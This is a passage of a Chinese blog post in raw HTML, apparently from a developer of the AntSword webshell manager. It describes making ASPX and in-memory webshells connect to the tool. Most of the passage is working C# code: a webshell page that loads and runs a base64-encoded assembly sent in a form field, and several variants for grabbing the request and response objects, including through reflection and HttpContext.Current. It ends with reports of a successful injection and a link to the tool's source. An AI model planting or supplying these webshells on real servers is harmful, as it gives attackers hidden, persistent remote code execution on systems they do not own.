39);">Assembly.Load</span><span style="font-size: 14px;">可以加载一个程序集，并不一定只是一个类。所以为了考虑今后payload里可能会有多个类的情况，推荐的写法如下：</span></p><p style="min-height: 24px;text-align: left;"><br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/k8mFfEmdQe0OhvTxUAjueEJutNiaZfVJ2C1It6JIAtes2a5wYHpjXLCfwvEkSdiboaYhtcZRofd3kZ9icBQ5niblvQf2CNYCeBeU/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">&lt;%@ Page Language=<span style="color: #98c379;line-height: 26px;">&#34;c#&#34;</span>%&gt;<br/>&lt;%<br/>String Payload = Request.Form[<span style="color: #98c379;line-height: 26px;">&#34;ant&#34;</span>];<br/><span style="color: #c678dd;line-height: 26px;">if</span> (Payload != <span style="color: #56b6c2;line-height: 26px;">null</span>){<br/>  System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));<br/>  assembly.CreateInstance(assembly.GetName().Name + <span style="color: #98c379;line-height: 26px;">&#34;.Run&#34;</span>).Equals(Context);<br/>}<br/>%&gt;<br/></code></pre></section><p style="min-height: 24px;text-align: left;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">即强行指定实例化的类为命名空间下名为</span><span style="font-size: 14px;color: rgb(255, 104, 39);">Run</span><span style="font-size: 14px;">的类。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;text-align: center;"><span style="font-size: 17px;background-color: rgb(0, 0, 0);color: rgb(255, 255, 255);"><strong>兼容内存马</strong></span></h2><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">rebeyond大佬在最开始用加载 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">assembly</span><span style="font-size: 14px;"> 作为aspx类型的shell时，默认</span><span style="font-size: 14px;color: rgb(255, 104, 39);">Equals</span><span style="font-size: 14px;">里面是</span><span style="font-size: 14px;color: rgb(255, 104, 39);">this</span><span style="font-size: 14px;">对象。也就是</span><span style="font-size: 14px;color: rgb(255, 104, 39);">Page</span><span style="font-size: 14px;">对象。这种方式在aspx文件落地的情况下没有毛病，</span><strong><span style="color: rgb(255, 41, 65);font-size: 14px;">但是在内存马环境下，是没有Page对象的，这种办法也就不兼容</span></strong><span style="font-size: 14px;">。</span></p><p style="min-height: 24px;"><span style="font-size: 14px;"><br/></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4152744630071599" width="662" data-type="png" data-w="838" src="https://wechat2rss.xlab.app/img-proxy/?k=c0f03f63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy283BxickmK4z7ORicI2161KC0yobmXldyB3j2yO1qc3genhg0caCl9uMcrwP6q1zq8JZ4w4H5IG3uA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">微软文档如下图</span></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.7099476439790576" width="611.5" data-type="png" data-w="955" src="https://wechat2rss.xlab.app/img-proxy/?k=d74146a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy283BxickmK4z7ORicI2161KCn3LlC0DHsMfic9zxMRHcmHwxKA8IG7HOghWRnhyib6VUM7RjeRS4sgyA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">哥斯拉则对此进行了兼容处理，不再采用</span><span style="font-size: 14px;color: rgb(255, 104, 39);">Page</span><span style="font-size: 14px;">对象，而采用了兼容性更好的</span><span style="font-size: 14px;color: rgb(255, 104, 39);">HttpContext</span></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.8251986379114642" width="718.5" data-type="png" data-w="881" src="https://wechat2rss.xlab.app/img-proxy/?k=040c18b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy283BxickmK4z7ORicI2161KC4EjIJbtCX8uLPMUjtjD068mIIcRa4sdYMYMhQ8VJiapuRCmyVg4eQfA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">其实入口参数的本质就是获取到当前的 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">request </span><span style="font-size: 14px;">跟 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">response </span><span style="font-size: 14px;">对象。</span></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">吸取了 jsp 的经验，一开始 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">parseObj</span><span style="font-size: 14px;"> 函数内置了三种方法：</span></p><p style="min-height: 24px;text-align: left;"><br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/k8mFfEmdQe0OhvTxUAjueEJutNiaZfVJ2C1It6JIAtes2a5wYHpjXLCfwvEkSdiboaYhtcZRofd3kZ9icBQ5niblvQf2CNYCeBeU/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">parseObj</span>(<span style="line-height: 26px;">Object obj</span>)</span> {<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (obj.GetType().IsArray) { <span style="color: #5c6370;font-style: italic;line-height: 26px;">//直接数组传入</span><br/>    Object[] data = (Object[])obj;<br/>    <span style="color: #c678dd;line-height: 26px;">this</span>.Request = (HttpRequest)data[<span style="color: #d19a66;line-height: 26px;">0</span>];<br/>    <span style="color: #c678dd;line-height: 26px;">this</span>.Response = (HttpResponse)data[<span style="color: #d19a66;line-height: 26px;">1</span>];<br/>  } <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>    <span style="color: #c678dd;line-height: 26px;">try</span> {<br/>      Page page = (Page)obj;<span style="color: #5c6370;font-style: italic;line-height: 26px;">// 传入Page对象</span><br/>      <span style="color: #c678dd;line-height: 26px;">this</span>.Response = page.Response;<br/>      <span style="color: #c678dd;line-height: 26px;">this</span>.Request = page.Request;<br/>    } <span style="color: #c678dd;line-height: 26px;">catch</span> (Exception) {<br/>      HttpContext context = (HttpContext)obj;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//传入HttpContext对象</span><br/>      <span style="color: #c678dd;line-height: 26px;">this</span>.Response = context.Response;<br/>      <span style="color: #c678dd;line-height: 26px;">this</span>.Request = context.Request;<br/>    }<br/>  }<br/>}<br/></code></pre></section><p style="min-height: 24px;text-align: left;"><br/></p><p style="min-height: 24px;"><span style="font-size: 14px;">所以在shell中用以下写法均可连接</span></p><p style="min-height: 24px;"><br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/k8mFfEmdQe0OhvTxUAjueEJutNiaZfVJ2C1It6JIAtes2a5wYHpjXLCfwvEkSdiboaYhtcZRofd3kZ9icBQ5niblvQf2CNYCeBeU/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;">// 利用Page对象</span><br/>System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)).CreateInstance(xxx).Equals(<span style="color: #c678dd;line-height: 26px;">this</span>);<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">// 利用Context对象</span><br/>System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)).CreateInstance(xxx).Equals(Context);<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">// 利用数组</span><br/>System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)).CreateInstance(xxx).Equals(<span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #c678dd;line-height: 26px;">object</span>[] { Request, Response });<br/></code></pre></section><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">以 asp.net 的 Route 内存马为例，从 route 上下文中获取到的 Context 是 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">HttpContextBase</span><span style="font-size: 14px;">，而不是 HttpContext。具体的实现类为</span><span style="font-size: 14px;color: rgb(255, 104, 39);">System.Web.HttpContextWrapper</span><span style="font-size: 14px;">。</span></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.2738990332975295" width="651.5" data-type="png" data-w="931" src="https://wechat2rss.xlab.app/img-proxy/?k=14d1d234&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy283BxickmK4z7ORicI2161KCQd97czl64wqia26P9vHKS7amBDZKZdvPJbl8H86Dxz6boVlH47vvQzA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">并且通过</span><span style="font-size: 14px;color: rgb(255, 104, 39);">HttpContextWrapper.Request</span><span style="font-size: 14px;">获取到的对象是</span><span style="font-size: 14px;color: rgb(255, 104, 39);">HttpRequestBase</span><span style="font-size: 14px;">，默认实现类是</span><span style="font-size: 14px;color: rgb(255, 104, 39);">System.Web.HttpRequestWrapper</span><span style="font-size: 14px;">。有点类似Tomcat的门面模式。</span></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.45454545454545453" width="703.5" data-type="png" data-w="781" src="https://wechat2rss.xlab.app/img-proxy/?k=679e88b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy283BxickmK4z7ORicI2161KCejx5hFn3pEMfJTO4x0vdxwBJlXBNFrdv9HEgtwj9D2H2rEIWFCenzg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">如果要采用数组的方式可以用以下反射代码实现</span></p><p style="min-height: 24px;text-align: left;"><br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/k8mFfEmdQe0OhvTxUAjueEJutNiaZfVJ2C1It6JIAtes2a5wYHpjXLCfwvEkSdiboaYhtcZRofd3kZ9icBQ5niblvQf2CNYCeBeU/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">FieldInfo requestField = <span style="color: #c678dd;line-height: 26px;">typeof</span>(HttpRequestWrapper).GetField(<span style="color: #98c379;line-height: 26px;">&#34;_httpRequest&#34;</span>, BindingFlags.Instance | BindingFlags.NonPublic);<br/>HttpRequest httpRequest = (HttpRequest)requestField.GetValue(httpContext.Request);<br/>FieldInfo responseField = <span style="color: #c678dd;line-height: 26px;">typeof</span>(HttpResponseWrapper).GetField(<span style="color: #98c379;line-height: 26px;">&#34;_httpResponse&#34;</span>,BindingFlags.Instance | BindingFlags.NonPublic);<br/>HttpResponse httpResponse = (HttpResponse)responseField.GetValue(httpContext.Response);<br/>System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));<br/>assembly.CreateInstance(assembly.GetName().Name + <span style="color: #98c379;line-height: 26px;">&#34;.Run&#34;</span>).Equals(<span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #c678dd;line-height: 26px;">object</span>[] { httpRequest, httpResponse });<br/></code></pre></section><p><span style="display: none;line-height: 0px;">‍</span></p><p style="min-height: 24px;"><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">访问注入内存马的aspx，一片空白说明注入<strong>成功</strong></span></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.19574468085106383" width="633" data-type="png" data-w="940" src="https://wechat2rss.xlab.app/img-proxy/?k=0223fd58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy283BxickmK4z7ORicI2161KCJu3iaiayQpROYdCxkshEl98neVWR0qY0bHc8Cptl8iaF1VG2uo1ibRoUJg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.1428571428571428" data-s="300,640" style="width: 26px;height: 30px;" data-type="png" data-w="35" src="https://wechat2rss.xlab.app/img-proxy/?k=c315f1cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy060lXtb8YklejbUq0pljIExfycMZyTCNMysg0kO2PibsPSzsCWdIPiclsIt22OfyWmYtwRUqbhe9aw%2F640%3Fwx_fmt%3Dpng"/> <span style="font-size: 14px;text-align: left;">蚁剑中输入任意 URL，连接成功。</span></p><p style="text-align: center;"><br/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5821989528795811" width="621.5" data-type="png" data-w="955" src="https://wechat2rss.xlab.app/img-proxy/?k=fa04dd99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy283BxickmK4z7ORicI2161KCic9T6QocsfZppI90lvNJyEibMJhkGyjQSMiaWXjx7QichrCDFuEfu6nibrA%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;text-align: center;"><span style="background-color: rgb(0, 0, 0);color: rgb(255, 255, 255);font-size: 17px;"><strong>进一步思考</strong></span></h2><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;"><img class="rich_pages wxw-img" data-ratio="0.8142857142857143" style="width: 40px;height: 33px;" data-type="jpeg" data-w="70" src="https://wechat2rss.xlab.app/img-proxy/?k=6571f245&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy3Ac0AUbqIvBg5yWOeM2yTBbz8TUCfYONTzk7V5uJtCS7JPrwxpcbFdxLum2rN4GNTQtJkOJDv3TQ%2F640%3Fwx_fmt%3Djpeg"/> 看起来不错了，但是还有继续优化的空间吗？</span></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;"><br/></span></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">Java中一个比较著名的问题是</span><span style="font-size: 14px;color: rgb(255, 104, 39);">内存马回显</span><span style="font-size: 14px;">，实际上是如何从当前线程获取当前的 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">request </span><span style="font-size: 14px;">跟 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">response </span><span style="font-size: 14px;">对象。这个问题其实比较蛋疼，因为不同的容器有不同的实现细节，无法统一处理。</span></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;"><br/></span></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">但是C#则直接把这个接口给暴露了出来，直接可以通过 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">HttpContext.Current </span><span style="font-size: 14px;">获取到当前的</span><span style="font-size: 14px;color: rgb(255, 104, 39);">context</span><span style="font-size: 14px;">，从而获取当前的 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">request </span><span style="font-size: 14px;">跟 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">response </span><span style="font-size: 14px;">对象。</span></p><p style="min-height: 24px;text-align: left;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">再次改造之后，payload 中 parseObj 如下：</span></p><p style="min-height: 24px;text-align: left;"><br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/k8mFfEmdQe0OhvTxUAjueEJutNiaZfVJ2C1It6JIAtes2a5wYHpjXLCfwvEkSdiboaYhtcZRofd3kZ9icBQ5niblvQf2CNYCeBeU/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">parseObj</span>(<span style="line-height: 26px;">Object obj</span>)</span> {<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (obj.GetType().IsArray) {<br/>    Object[] data = (Object[])obj;<br/>    <span style="color: #c678dd;line-height: 26px;">this</span>.Request = (HttpRequest)data[<span style="color: #d19a66;line-height: 26px;">0</span>];<br/>    <span style="color: #c678dd;line-height: 26px;">this</span>.Response = (HttpResponse)data[<span style="color: #d19a66;line-height: 26px;">1</span>];<br/>  }<span style="color: #c678dd;line-height: 26px;">else</span>{<br/>    <span style="color: #c678dd;line-height: 26px;">try</span> {<br/>      HttpContext context = (HttpContext)obj;<br/>      <span style="color: #c678dd;line-height: 26px;">this</span>.Response = context.Response;<br/>      <span style="color: #c678dd;line-height: 26px;">this</span>.Request = context.Request;<br/>    }<span style="color: #c678dd;line-height: 26px;">catch</span> (Exception){<br/>      HttpContext context = HttpContext.Current;<br/>      <span style="color: #c678dd;line-height: 26px;">this</span>.Response = context.Response;<br/>      <span style="color: #c678dd;line-height: 26px;">this</span>.Request = context.Request;<br/>    }<br/>  }<br/>}<br/></code></pre></section><p style="min-height: 24px;text-align: left;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">改版后我们去掉了兼容性不强的 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">Page</span><span style="font-size: 14px;"> 方式，如果数组方式跟 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">Context</span><span style="font-size: 14px;"> 都无法获取的话，就尝试通过 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">HttpContext.Current </span><span style="font-size: 14px;">来拿到当前的 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">Context</span><span style="font-size: 14px;">。</span></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">所以其实在shell中直接Equals(null)，或者一个随意对象即可。</span></p><p style="min-height: 24px;text-align: left;"><br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/k8mFfEmdQe0OhvTxUAjueEJutNiaZfVJ2C1It6JIAtes2a5wYHpjXLCfwvEkSdiboaYhtcZRofd3kZ9icBQ5niblvQf2CNYCeBeU/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">&lt;%@ Page Language=<span style="color: #98c379;line-height: 26px;">&#34;c#&#34;</span>%&gt;<br/>&lt;%<br/>String Payload = Request.Form[<span style="color: #98c379;line-height: 26px;">&#34;ant&#34;</span>];<br/><span style="color: #c678dd;line-height: 26px;">if</span> (Payload != <span style="color: #56b6c2;line-height: 26px;">null</span>) {<br/>  System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));<br/>  assembly.CreateInstance(assembly.GetName().Name + <span style="color: #98c379;line-height: 26px;">&#34;.Run&#34;</span>).Equals(<span style="color: #56b6c2;line-height: 26px;">null</span>);<br/>}<br/>%&gt;<br/></code></pre></section><p style="min-height: 24px;text-align: left;"><br/></p><p style="min-height: 24px;"><span style="font-size: 14px;color: rgb(255, 104, 39);">同样可以连接成功</span></p><p style="min-height: 24px;"><span style="font-size: 14px;color: rgb(255, 104, 39);"><br/></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5801447776628749" width="659.5" data-type="png" data-w="967" src="https://wechat2rss.xlab.app/img-proxy/?k=b9aeaaee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy283BxickmK4z7ORicI2161KCYeAv2tI1WkHccrOXiaRSkgIUr8iaccr7EYJRLAQAFh2NkWj6B3ZjKmNA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;"><br/></span></p><p style="min-height: 24px;text-align: left;"><strong><span style="font-size: 14px;">至于为什么没有把原来的入口参数方式全部都去掉，是因为新类型并没有在实战环境中测试过。不知道会不会有一些特殊情况。为了谨慎起见，还是保留了原来的入口参数。</span></strong></p><p style="min-height: 24px;"><br/></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;text-align: center;"><span style="font-size: 17px;background-color: rgb(0, 0, 0);color: rgb(255, 255, 255);">最后</span></h2><p style="min-height: 24px;"><span style="font-size: 14px;">个人喜欢开发一些工具，同时记录下自己的碎碎念。如果能对你有帮助，那就最好不过了。</span></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">本文对应代码 Github 提交记录：</span></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">http</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">s://github.com/AntSwordProject/antSword/commit/d2d848c89e03088c20c</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">c31f411e73fe2dd2973ea</span><br/></p><p><br/></p><p><strong><span style="font-size: 14px;">该功能目前暂未正式发布，如需体验可自行更新蚁剑源代码为 v2.1.x 分支，体验开发版的乐趣(Bug)~</span></strong><span style="font-size: 14px;"></span><br/></p><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><strong><span style="font-size: 14px;"></span></strong><br/></p><p style="color: rgb(53, 53, 53);font-family: &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 黑体, Arial, sans-serif;font-size: 14px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;"><img class="rich_pages wxw-img" data-copyright="0" data-fileid="100000666" data-ratio="1" data-s="300,640" style="height: 198px;width: 198px;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=a606fcfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy3kYxrKTnbxKyJeZhmfzqjkiaA1gWNNFdGMgnpWbicm1mzDFq0Sicfzv5HPHqRlyuDDeUHTE8QJpm9FQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="color: rgb(53, 53, 53);font-family: &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 黑体, Arial, sans-serif;font-size: 14px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;"><span style="font-size: 12px;color: rgb(136, 136, 136);"><span data-raw-text="不" data-textnode-index-1641486452925="43" data-index-1641486452925="1470" class="character">不</span><span data-raw-text="如" data-textnode-index-1641486452925="43" data-index-1641486452925="1471" class="character">如</span><span data-raw-text="关" data-textnode-index-1641486452925="43" data-index-1641486452925="1472" class="character">关</span><span data-raw-text="注" data-textnode-index-1641486452925="43" data-index-1641486452925="1473" class="character">注</span><span data-raw-text="一" data-textnode-index-1641486452925="43" data-index-1641486452925="1474" class="character">一</span><span data-raw-text="波" data-textnode-index-1641486452925="43" data-index-1641486452925="1475" class="character">波</span><span data-raw-text="再" data-textnode-index-1641486452925="43" data-index-1641486452925="1476" class="character">再</span><span data-raw-text="走" data-textnode-index-1641486452925="43" data-index-1641486452925="1477" class="character">走</span><span data-raw-text="？" data-textnode-index-1641486452925="43" data-index-1641486452925="1478" class="character">？</span></span></p><p><br/></p>



<p><a href="2247484424">阅读原文</a></p>
